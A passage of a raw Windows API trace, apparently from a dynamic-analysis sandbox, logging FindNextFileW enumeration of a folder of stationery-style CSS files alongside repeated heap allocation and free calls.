Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0069.520] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ea58 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065690 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beige.css", cAlternateFileName="")) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ea78 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065798 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0069.521] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ea98 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10658a0 [0069.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.522] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0069.522] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eab8 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10659a8 [0069.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.522] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0069.522] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ead8 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065ab0 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eaf8 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ca40 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0069.523] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.523] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.523] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.524] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eb18 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103cb48 [0069.524] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.524] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.css", cAlternateFileName="")) returned 1 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.524] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.524] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eb38 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103cc50 [0069.524] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3ac0) returned 0x1071648 [0069.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.525] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eb58 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103cd58 [0069.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.525] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0069.525] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eb78 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ce60 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eb98 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103cf68 [0069.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.526] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0069.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ebb8 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d070 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.527] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0069.527] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ebd8 [0069.527] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d178 [0069.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ebf8 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d280 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0069.528] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ec18 [0069.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d388 [0069.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ec38 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d490 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0069.529] RtlAllocateHeap 